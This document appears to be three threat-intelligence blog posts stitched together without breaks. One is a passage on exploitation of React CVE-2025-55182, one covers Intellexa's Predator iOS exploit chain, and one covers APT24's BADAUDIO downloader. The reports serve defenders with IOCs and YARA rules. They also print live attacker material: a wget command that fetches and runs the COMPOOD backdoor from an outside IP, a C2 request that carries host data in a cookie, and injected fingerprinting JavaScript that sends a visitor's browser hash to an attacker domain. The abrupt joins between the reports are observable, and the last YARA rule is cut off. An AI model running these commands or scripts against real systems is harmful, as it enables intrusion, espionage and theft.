Figure 1: cURL command executed to fetch SNOWLIGHT payload

COMPOOD

GTIG also observed multiple incidents in which threat actor UNC6588 exploited CVE-2025-55182, then ran a script that used wget to download a COMPOOD backdoor payload. The script then executed the COMPOOD sample, which masqueraded as Vim. GTIG did not observe any significant follow-on activity, and this threat actor's motivations are currently unknown.

wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

Figure 2: COMPOOD downloaded via wget and executed

COMPOOD has historically been linked to suspected China-nexus espionage activity. In 2022, GTIG observed COMPOOD in incidents involving a suspected China-nexus espionage actor, and we also observed samples uploaded to VirusTotal from Taiwan, Vietnam, and China.

HISONIC

Another China-nexus actor, UNC6603, deployed an updated version of the HISONIC backdoor. HISONIC is a Go-based implant that utilizes legitimate cloud services, such as Cloudflare Pages and GitLab, to retrieve its encrypted configuration. This technique allows the actor to blend malicious traffic with legitimate network activity. In this instance, the actor embedded an XOR-encoded configuration for the HISONIC backdoor delimited between two markers, "115e1fc47977812" to denote the start of the configuration and "725166234cf88gxx" to mark the end. Telemetry indicates this actor is targeting cloud infrastructure, specifically AWS and Alibaba Cloud instances, within the Asia Pacific (APAC) region.

<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

Figure 3: HISONIC markers denoting configuration

ANGRYREBEL.LINUX

Finally, we also observed a China-nexus actor, UNC6595, exploiting the vulnerability to deploy ANGRYREBEL.LINUX. The threat actor uses an installation script (b.sh) that attempts to evade detection by masquerading the malware as the legitimate OpenSSH daemon (sshd) within the /etc/ directory, rather than its standard location. The actor also employs timestomping to alter file timestamps and executes anti-forensics commands, such as clearing the shell history (history -c). Telemetry indicates this cluster is primarily targeting infrastructure hosted on international Virtual Private Servers (VPS).

Financially Motivated Activity

Threat actors that monetize access via cryptomining are often among the first to exploit newly disclosed vulnerabilities. GTIG observed multiple incidents, starting on Dec. 5, in which threat actors exploited CVE-2025-55182 and deployed XMRig for illicit cryptocurrency mining. In one observed chain, the actor downloaded a shell script named "sex.sh," which downloads and executes the XMRIG cryptocurrency miner from GitHub. The script also attempts to establish persistence for the miner via a new systemd service called "system-update-service."

GTIG has also observed numerous discussions regarding CVE-2025-55182 in underground forums, including threads in which threat actors have shared links to scanning tools, proof-of-concept (PoC) code, and their experiences using these tools.

Outlook and Implications

After the disclosure of high-visibility, critical vulnerabilities, it is common for affected products to undergo a period of increased scrutiny, resulting in a swift but temporary increase in the number of vulnerabilities discovered. Since the disclosure of CVE-2025-55182, three additional React vulnerabilities have been disclosed: CVE-2025-55183, CVE-2025-55184, and CVE-2025-67779. In this case, two of these follow-on vulnerabilities have relatively limited impacts (restricted information disclosure and causing a denial-of-service (DoS) condition). The third vulnerability (CVE-2025-67779) also causes a DoS condition, as it arose due to an incomplete patch for CVE-2025-55184.

Recommendations

Organizations utilizing React or Next.js should take the following actions immediately:

1. Patch Immediately:

1. To prevent remote code execution due to CVE-2025-55182, patch vulnerable React Server Components to at least 19.0.1, 19.1.2, or 19.2.1, depending on your vulnerable version. Patching to 19.2.2 or 19.2.3 will also prevent the potential for remote code execution.

2. To prevent the information disclosure impacts due to CVE-2025-55183, patch vulnerable React Server Components to at least 19.2.2.

3. To prevent DoS impacts due to CVE-2025-55184 and CVE-2025-67779, patch vulnerable React Server Components to 19.2.3. The 19.2.2 patch was found to be insufficient in preventing DoS impacts.

2. Deploy WAF Rules: Google has rolled out a Cloud Armor web application firewall (WAF) rule designed to detect and block exploitation attempts related to this vulnerability. We recommend deploying this rule as a temporary mitigation while your vulnerability management program patches and verifies all vulnerable instances.

3. Audit Dependencies: Determine if vulnerable React Server Components are included as a dependency in other applications within your environment.

4. Monitor Network Traffic: Review logs for outbound connections to the indicators of compromise (IOCs) listed below, particularly wget or cURL commands initiated by web server processes.

5. Hunt for Compromise: Look for the creation of hidden directories like $HOME/.systemd-utils, the unauthorized termination of processes such as ntpclient, and the injection of malicious execution logic into shell configuration files like $HOME/.bashrc.

Indicators of Compromise (IOCs)

To assist defenders in hunting for this activity, we have included IOCs for the threats described in this blog post. A broader subset of related indicators is available in a Google Threat Intelligence Collection of IOCs available for registered users.

YARA Rules

MINOCAT

rule G_APT_Tunneler_MINOCAT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-10"
		rev = "1"
		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
	strings:
		$magic = { 7F 45 4C 46 }
		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
		$frp_str1 = "libxf-2.9.644/main.c"
		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
		$frp_str3 = "cannot found run ID, it should inited when login!"
		$frp_str4 = "new work connection request run_id marshal failed!"
		$telnet_str1 = "Starting telnetd on port %d\n"
		$telnet_str2 = "No login shell found at %s\n"
		$key = "bigeelaminoacow"
	condition:
		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}

COMPOOD

rule G_Backdoor_COMPOOD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-11"
		rev = “1”
            md5 = “d3e7b234cf76286c425d987818da3304”
	strings:
		$strings_1 = "ShellLinux.Shell"
		$strings_2 = "ShellLinux.Exec_shell"
		$strings_3 = "ProcessLinux.sendBody"
		$strings_4 = "ProcessLinux.ProcessTask"
		$strings_5 = "socket5Quick.StopProxy"
		$strings_6 = "httpAndTcp"
		$strings_7 = "clean.readFile"
		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
		$strings_9 = "/proc/self/auxv"
		$strings_10 = "/dev/urandom"
		$strings_11 = "client finished"
		$strings_12 = "github.com/creack/pty.Start"
	condition:
		uint32(0) == 0x464C457f and 8 of ($strings_*)
}

SNOWLIGHT

rule G_Hunting_Downloader_SNOWLIGHT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-03-25"
		date_modified = "2025-03-25"
		md5 = "3a7b89429f768fdd799ca40052205dd4"
		rev = 1
	strings:
		$str1 = "rm -rf $v"
		$str2 = "&t=tcp&a="
		$str3 = "&stage=true"
		$str4 = "export PATH=$PATH:$(pwd)"
		$str5 = "curl"
		$str6 = "wget"
		$str7 = "python -c 'import urllib"
	condition:
		all of them and filesize < 5KB
}

Introduction 

Despite extensive scrutiny and public reporting, commercial surveillance vendors continue to operate unimpeded. A prominent name continues to surface in the world of mercenary spyware, Intellexa. Known for its “Predator” spyware, the company was sanctioned by the US Government. New Google Threat Intelligence Group (GTIG) analysis shows that Intellexa is evading restrictions and thriving. 

Intellexa has adapted, evaded restrictions, and continues selling digital weapons to the highest bidders. Alongside research published by our colleagues from Recorded Future and Amnesty, this blog post will shed light on Intellexa’s recent activities, unveil the real-world impact of their surveillance tools, and detail the actions we are taking against this industry.

Continued Prolific Exploitation of Zero-Day Vulnerabilities 

Over the past several years, Intellexa has solidified its position as one of, if not the most, prolific spyware vendors exploiting zero-day vulnerabilities against mobile browsers. Despite the consistent efforts of security researchers and platform vendors to identify and patch these flaws, Intellexa repeatedly demonstrates an ability to procure or develop new zero-day exploits, quickly adapting and continuing operations for their customers.

Intellexa is responsible for a substantial number of the zero-day vulnerabilities identified over the years by Google’s Threat Analysis Group (TAG), now part of GTIG. As an example, out of approximately 70 zero-day vulnerabilities discovered and documented by TAG since 2021, Intellexa accounts for 15 unique zero-days, including Remote Code Execution (RCE), Sandbox Escape (SBX), and Local Privilege Escalation (LPE) vulnerabilities. All of these zero-days have been patched by the respective vendors. In addition to developing exploitation of zero-days, we increasingly see evidence that Intellexa is purchasing steps of exploit chains from external entities.

Exploit Chain 

Partnering with our colleagues at CitizenLab in 2023, we captured a full iOS zero-day exploit chain used in the wild against targets in Egypt. Developed by Intellexa, this exploit chain was used to install spyware publicly known as Predator surreptitiously onto a device. According to metadata, Intellexa referred to this exploit chain internally as “smack.”

First Stage: JSKit Framework Déjà Vu

The initial stage of the exploit chain was a Safari RCE zero-day that Apple fixed as CVE-2023-41993. The exploit leveraged a framework internally called “JSKit.” Once arbitrary memory read and write primitives have been achieved thanks to a vulnerability in the renderer, in this case CVE-2023-41993, the framework provides all the requisite components to perform native code execution on modern Apple devices.

We believe that Intellexa acquired their iOS RCE exploits from an external entity, as we have seen this exact same JSKit framework used by other surveillance vendors and government-backed attackers since 2021. In 2024, we reported publicly on a campaign by Russian government-backed attackers using this exact same iOS exploit and JSKit framework in a watering hole attack against Mongolian government websites. We have also seen it used in other campaigns by surveillance vendors, including another surveillance vendor using the same framework when exploiting CVE-2022-42856 in 2022.

The JSKit framework is well maintained, supports a wide range of iOS versions, and is modular enough to support different Pointer Authentication Code (PAC) bypasses and code execution techniques. The framework can parse in-memory Mach-O binaries to resolve custom symbols and can ultimately manually map and execute Mach-O binaries directly from memory. In addition, the JSKit framework is fairly robust and well engineered, with each step of the exploitation process tested carefully. To date, we haven't seen a similar framework exist for Android.

The exploit Intellexa used was apparently tracked internally as "exploit number 7," according to debug strings at the entry point of the RCE exploit. This suggests that the external entity supplying exploits likely possesses a substantial number of iOS exploits targeting a wide range of versions.

Regarding Chrome exploitation, Intellexa has used a custom framework with all the features needed to gain code execution from any arbitrary vulnerability capable of leaking TheHole magic object in V8. They first used this framework with CVE-2021-38003, then with CVE-2023-4762, CVE-2023-3079, CVE-2023-2033, and more recently in June 2025 with CVE-2025-6554, observed in Saudi Arabia. This most recent, CVE-2025-6554, was a type confusion error in Chrome’s v8 engine. Chrome quickly mitigated the issue for all Chrome users with a configuration change and then fixed the bug as CVE-2025-6554 in version 138.0.7204.96. All these CVEs are vulnerabilities in V8 that all can be used to leak TheHole object.

Following Stages: Watching the Helper

The second stage is the most technical part of the chain and would require an entire separate blog post to describe all of its functionality. Essentially, this stage is in charge of breaking out of the Safari sandbox and executing an untrusted third stage payload as system by abusing the kernel vulnerabilities CVE-2023-41991 and CVE-2023-41992. This second stage communicates with the first stage to re-use some of the primitives (e.g., PAC bypass) and offers kernel memory read/write capabilities to the third stage.

The third stage (tracked by GTIG as PREYHUNTER) is the last one we captured and is composed of two modules called "helper" and "watcher."

The watcher module primarily ensures that the infected device does not exhibit suspicious behavior; if such behavior is detected, a notification is generated, and the exploitation process is terminated. The module is also in charge of monitoring crashes.

The following behaviors are detected:

• Developer mode via security.mac.amfi.developer_mode_status

• Console attached via diagnosticd

• US or IL locale set on the phone

• Cydia installed

• Bash, tcpdump, frida, sshd, or checkrain process currently running on the phone

• McAfee, AvastMobileSecurity, or NortonMobileSecurity installed on the phone

• Custom HTTP proxy setup

• Custom root CA installed

The helper module is communicating with the other parts of the exploit via a Unix socket at /tmp/helper.sock. Similar to the ALIEN malware for Android, the module has the ability to hook various places with custom frameworks called DMHooker and UMHooker. These hooks are allowing the module to perform basic spyware capabilities such as:

• Recording VOIP conversations (stored in /private/var/tmp/l/voip_%lu_%u_PART.m4a)

• Running a keylogger

• Capturing pictures from the camera

The module is also hooking into the SpringBoard in order to hide user notifications caused by the aforementioned actions. We believe these capabilities are provided to the operator to make sure the infected device is the correct one before deploying a more sophisticated spyware, such as Predator.

The binary left compilation artifacts such as the following build directory including the name of the exploit chain.

/Users/gitlab_ci_2/builds/jbSFKQv5/0/roe/ios16.5-smackjs8-production/.

Overall, these exploits are high in sophistication, especially compared to the less sophisticated spyware stager, supporting our assessment that the exploits were likely acquired from another party. 

Disrupting Novel Delivery Capabilities

The primary delivery mechanism for Intellexa's exploits remains one-time links sent to targets directly via end-to-end encrypted messaging applications. However, we have also observed another tactic with a few customers—the use of malicious advertisements on third-party platforms to fingerprint users and redirect targeted users to Intellexa's exploit delivery servers.

We believe this campaign is another example of commercial surveillance vendors abusing ads for exploit delivery, and Intellexa has gotten increasingly involved in this space since early 2025. Working with our partners, we identified the companies Intellexa created to infiltrate the advertising ecosystem, and those partners subsequently shut down the accounts from their platforms.

Addressing the Threat of Intellexa’s Activities 

Community efforts to raise awareness have built momentum toward an international policy response. Google has been a committed participant in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

Recognizing the severity and widespread nature of Intellexa's activities in particular, we have made the decision to simultaneously deliver our government-backed attack warning to all known targeted accounts associated with Intellexa's customers since 2023. This effort encompasses several hundred accounts across various countries, including Pakistan, Kazakhstan, Angola, Egypt, Uzbekistan, Saudi Arabia, and Tajikistan, ensuring that individuals at risk are made aware of these sophisticated threats.

Following our disclosure policy, we are sharing our research to raise awareness and advance security across the ecosystem. We have also added all identified websites and domains to Safe Browsing to safeguard users from further exploitation. We urge users and organizations to apply patches quickly and keep software fully up-to-date for their protection. Google will remain focused on detecting, analyzing, and preventing zero-day exploitation as well as reporting vulnerabilities to vendors immediately upon discovery.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI Collection for registered users.

File Indicators

• 85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750
• e3314bcd085bd547d9b977351ab72a8b83093c47a73eb5502db4b98e0db42cac

YARA Rule

This rule is intended to serve as a starting point for hunting efforts to identify PREYHUNTER malware; however, it may need adjustment over time.

rule G_Hunting_PREYHUNTER_IOSStrings_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "/Users/gitlab_ci_2/builds/jb"
		$ = "/roe/ios1"
		$ = "-production/libs/Exploit" ascii wide
		$ = "/private/var/tmp/l/voip_%lu_%u_PART.m4a" ascii wide
		$ = "/private/var/tmp/etherium.txt" ascii wide
		$ = "/private/var/tmp/kusama.txt" ascii wide
		$ = "_gadget_pacia" ascii wide
		$ = "ZN6Helper4Voip10setupHooksEvE3$_3" ascii wide
		$ = "Hook 1 triggered! location:" ascii wide
		$ = "KernelReaderI11CorelliumRWE" ascii wide
		$ = "NSTaskROP20WithoutDeveloperMode" ascii wide
		$ = "UMHookerI14RemoteTaskPort" ascii wide
		$ = "callFunc: building PAC cache for" ascii wide
		$ = "select  tset  FROM tsettings WHERE INSTR(tset, ?)" ascii wide
		$ = "select * from tsettings WHERE length(sha256) > ?" ascii wide
		$ = "isTrojanThreadERK" ascii wide
		$ = "getpid from victim returned:" ascii wide
		$ = "victim task kaddr:" ascii wide
	condition:
		1 of them
}

Acknowledgements

We would like to acknowledge and thank The Citizen Lab and Amnesty International for their collaboration and partnership.

Written by: Harsh Parashar, Tierra Duncan, Dan Perez

Google Threat Intelligence Group (GTIG) is tracking a long-running and adaptive cyber espionage campaign by APT24, a People's Republic of China (PRC)-nexus threat actor. Spanning three years, APT24 has been deploying BADAUDIO, a highly obfuscated first-stage downloader used to establish persistent access to victim networks.

While earlier operations relied on broad strategic web compromises to compromise legitimate websites, APT24 has recently pivoted to using more sophisticated vectors targeting organizations in Taiwan. This includes the repeated compromise of a regional digital marketing firm to execute supply chain attacks and the use of targeted phishing campaigns.

This report provides a technical analysis of the BADAUDIO malware, details the evolution of APT24's delivery mechanisms from 2022 to present, and offers actionable intelligence to help defenders detect and mitigate this persistent threat.

As part of our efforts to combat serious threat actors, GTIG uses the results of our research to improve the safety and security of Google’s products and users. Upon discovery, all identified websites, domains, and files are added to the Safe Browsing blocklist in order to protect web users across major browsers. We also conducted a series of victim notifications with technical details to compromised sites, enabling affected organizations to secure their sites and prevent future infections.

Payload Analysis: BADAUDIO and Cobalt Strike Beacon Integration

The BADAUDIO malware is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.

GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
Host: wispy[.]geneva[.]workers[.]dev
Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

--------------------------

GET
cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

Figure 2: BADAUDIO code sample

The malware is engineered with control flow flattening—a sophisticated obfuscation technique that systematically dismantles a program's natural, structured logic. This method replaces linear code with a series of disconnected blocks governed by a central "dispatcher" and a state variable, forcing analysts to manually trace each execution path and significantly impeding both automated and manual reverse engineering efforts.

BADAUDIO typically manifests as a malicious Dynamic Link Library (DLL) leveraging DLL Search Order Hijacking (MITRE ATT&CK T1574.001) for execution via legitimate applications. Recent variants observed indicate a refined execution chain: encrypted archives containing BADAUDIO DLLs along with VBS, BAT, and LNK files. 

These supplementary files automate the placement of the BADAUDIO DLL and a legitimate executable into user directories, establish persistence through legitimate executable startup entries, and trigger the DLL sideloading. This multi-layered approach to execution and persistence minimizes direct indicators of compromise.

Upon execution, BADAUDIO collects rudimentary host information: hostname, username, and system architecture. This collected data is then hashed and embedded within a cookie parameter in the C2 request header. This technique provides a subtle yet effective method for beaconing and identifying compromised systems, complicating network-based detection.

In one of these cases, the subsequent payload, decrypted using a hard-coded AES key, has been confirmed as Cobalt Strike Beacon. However, it is not confirmed that Cobalt Strike is present in every instance. The Beacon payload contained a relatively unique watermark that was previously observed in a separate APT24 campaign, shared in the Indicators of Compromise section. Cobalt Strike watermarks are a unique value generated from and tied to a given "CobaltStrike.auth" file. This value is embedded as the last 4 bytes for all BEACON stagers and in the embedded configuration for full backdoor BEACON samples.

Campaign Overview: BADAUDIO Delivery Evolves

Over three years, APT24 leveraged various techniques to deliver BADAUDIO, including strategic web compromises, repeated supply-chain compromise of a regional digital marketing firm in Taiwan, and spear phishing.

Public Strategic Web Compromise Campaign

Beginning in November 2022 we observed over 20 compromised websites spanning a broad array of subjects from regional industrial concerns to recreational goods, suggesting an opportunistic approach to initial access with true targeting selectively executed against visitors the attackers identified via fingerprinting. The legitimate websites were weaponized through the injection of a malicious JavaScript payload.

This script exhibited an initial layer of targeting, specifically excluding macOS, iOS, Android, and various Microsoft Internet Explorer/Edge browser variants to focus exclusively on Windows systems. This selectivity suggests an adversary immediately narrowing their scope to optimize for a specific, likely high-value, victim profile.

The injected JavaScript performed a critical reconnaissance function by employing the FingerprintJS library to generate a unique browser fingerprint. This fingerprint, transmitted via an HTTP request to an attacker-controlled domain, served as an implicit validation mechanism. Upon successful validation, the victim was presented with a fabricated pop-up dialog, engineered to trick the user into downloading and executing BADAUDIO malware.

$(window).ready(function() {
    var userAgent = navigator.userAgent;
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    var isMac = userAgent.indexOf('Macintosh') > -1;
    var isiPhone = userAgent.indexOf('iPhone') > -1;
    var isFireFox = userAgent.indexOf('Firefox') > -1;
    if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
        var tag_script = document.createElement("script");
        tag_script.type = "text/javascript";
        tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
        tag_script.onload = "initFingerprintJS()";
        document.body.appendChild(tag_script);
        if (typeof(callback) !== "undefined") {
            tag_script.onload = function() {
                callback();
            }
        }
        function callback() {
            var option = {
                excludes: {
                    screenResolution: true,
                    availableScreenResolution: true,
                    enumerateDevices: true
                }
            }
            new Fingerprint2.get(option, function(components) {
                var values = components.map(function(component) {
                    return component.value
                })
                var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                console.log(murmur)
                var script_tag = document.createElement("script");
                script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                document.body.appendChild(script_tag);
            });
        }
    }
});

Figure 6: Early malicious fingerprinting JS used in strategic web compromise campaigns

The attackers consistently shift their infrastructure, using a mix of newly registered domains and domains they have previously compromised. We last observed this tactic in early September 2025.

Escalation: Supply Chain Compromise for Strategic Web Compromises at Scale 

In July 2024, APT24 compromised a regional digital marketing firm in Taiwan- a supply chain attack that impacted more than 1,000 domains. Notably, the firm experienced multiple re-compromises over the last year, demonstrating APT24's persistent commitment to the operation.

We initiated a multifaceted remediation effort to disrupt these threats. In addition to developing custom logic to identify and block the modified, malicious JavaScript, GTIG distributed victim notifications to the individual compromised websites and the compromised marketing firm. These notifications provided specific details about the threat and the modifications made to the original script, enabling affected organizations to secure their sites and prevent future infections.

In the first iteration of the supply chain compromise, APT24 injected the malicious script into a widely used JavaScript library (MITRE ATT&CK T1195.001) provided by the firm, leveraging a typosquatting domain to impersonate a legitimate Content Delivery Network (CDN). The deobfuscated JavaScript reveals a multi-stage infection chain:

• Dynamic Dependency Loading: The script dynamically loads legitimate jQuery and FingerprintJS2 libraries (MITRE ATT&CK T1059.007) from a public CDN if not already present, ensuring consistent execution across diverse web environments.

• Multi-Layer JS Concealment: During a re-compromise discovered in July 2025, the adversary took additional steps to hide their malicious code. The highly obfuscated script (MITRE ATT&CK T1059) was deliberately placed within a maliciously modified JSON file served by the vendor, which was then loaded and executed by another compromised JavaScript file. This tactic effectively concealed the final payload in a file type and structure not typically associated with code execution.

• Advanced Fingerprinting: FingerprintJS2 is utilized to generate an x64hash128 browser and environmental fingerprint (MITRE ATT&CK T1082) . The x64hash128 is the resulting 128-bit hash value produced by the MurmurHash3 algorithm, which processes a large input string of collected browser characteristics (such as screen resolution, installed fonts, and GPU details) to create a unique, consistent identifier for the user's device.

• Covert Data Exfiltration and Staging: A POST request, transmitting Base64-encoded reconnaissance data (including host, url, useragent, fingerprint, referrer, time, and a unique identifier), is sent to an attacker's endpoint (MITRE ATT&CK T1041). 

• Adaptive Payload Delivery: Successful C2 responses trigger the dynamic loading of a subsequent script from a URL provided in the response's data field. This cloaked redirect leads to BADAUDIO landing pages, contingent on the attacker's C2 logic and fingerprint assessment (MITRE ATT&CK T1105).

• Tailored Targeting: The compromise in June 2025 initially employed conditional script loading based on a unique web ID (the specific domain name) related to the website using the compromised third-party scripts. This suggests tailored targeting, limiting the strategic web compromise (MITRE ATT&CK T1189) to a single domain. However, for a ten-day period in August, the conditions were temporarily lifted, allowing all 1,000 domains using the scripts to be compromised before the original restriction was reimposed.

Targeted Phishing Campaigns

Complementing their broader web-based attacks, APT24 concurrently conducted highly targeted social engineering campaigns. Lures, such as an email purporting to be from an animal rescue organization, leveraged social engineering to elicit user interaction and drive direct malware downloads from attacker-controlled domains.

Separate campaigns abused legitimate cloud storage platforms including Google Drive and OneDrive to distribute encrypted archives containing BADAUDIO. Google protected users by diverting these messages to spam, disrupting the threat actor’s effort to leverage reputable services in their campaigns.

APT24 included pixel tracking links, confirming email opens and potentially validating target interest for subsequent exploitation. This dual-pronged approach—leveraging widely trusted cloud services and explicit tracking—enhances their ability to conduct effective, personalized campaigns.

Outlook

This nearly three-year campaign is a clear example of the continued evolution of APT24’s operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques like supply chain compromise, multi-layered social engineering, and the abuse of legitimate cloud services demonstrates the actor's capacity for persistent and adaptive espionage. 

This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection. GTIG actively monitors ongoing threats from actors like APT24 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

We are committed to sharing our findings with the security community to raise awareness and to disrupt this activity. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Acknowledgements 

This analysis would not have been possible without the assistance from FLARE. We would like to specifically thank Ray Leong, Jay Gibble and Jon Daniels for their contributions to the analysis and detections for BADAUDIO.

Indicators of Compromise

A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users.

Strategic Web Compromise JS

88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

Strategic Web Compromise — Modified Supplier JS

07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

BADAUDIO Binaries

9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

Strategic Web Compromise — Stage 2

www[.]availableextens[.]com
www[.]twisinbeth[.]com
www[.]decathlonm[.]com
www[.]gerikinage[.]com
www[.]p9-car[.]com
www[.]growhth[.]com
www[.]brighyt[.]com
taiwantradoshows[.]com
jsdelivrs[.]com

BADAUDIO C2

clients[.]brendns.workers[.]dev
www[.]cundis[.]com
wispy[.]geneva[.]workers[.]dev
www[.]twisinbeth[.]com
tradostw[.]com
jarzoda[.]net
trcloudflare[.]com
roller[.]johallow.workers[.]dev

Cobalt Strike Beacon Watermark

Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

YARA Rules

rule G_Downloader_BADAUDIO_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
	condition:
		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
}

rule G_Downloader_BADAUDIO_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
	condition:
		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
}

rule G_APT_DOWNLOADER_BADAUDIO_3 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $s1 = "SystemFunction036"
        $s2 = "6666666666666666\\\\\\\\\\\\\\\\\\"
        $dc1 = { C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07 }
        $dc2 = { C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31 }
        $dc3 = { C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31 }
        $dc4 = { C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31 }
